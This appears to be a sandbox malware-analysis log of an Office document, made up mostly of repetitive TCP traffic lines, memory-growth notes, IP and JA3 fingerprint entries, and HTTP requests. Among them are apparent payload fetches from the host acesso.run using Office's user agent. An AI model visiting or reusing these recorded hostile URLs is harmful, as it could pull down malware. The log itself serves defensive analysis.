Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49847
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49846
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49845
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49844
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49843
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49850
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49848
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49849
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49851
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49852
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49853
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49858
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49858
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49855
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49859
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49859
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49856
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49860
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49860
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49857
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49861
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49861
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49854
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49862
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49862
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49858
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49858
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49858
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49859
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49859
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49859
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49860
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49860
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49860
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49861

Source: excel.exe	Memory has grown: Private usage: 26MB later: 57MB
Source: winword.exe	Memory has grown: Private usage: 1MB later: 65MB

Source: Joe Sandbox View	IP Address: 104.21.74.191 104.21.74.191
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /bkeoxH?&ashram=various&tiger=merciful&creative=threatening&campanile HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /404 HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: acesso.runConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bkeoxH?&ashram=various&tiger=merciful&creative=threatening&campanile HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /404 HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
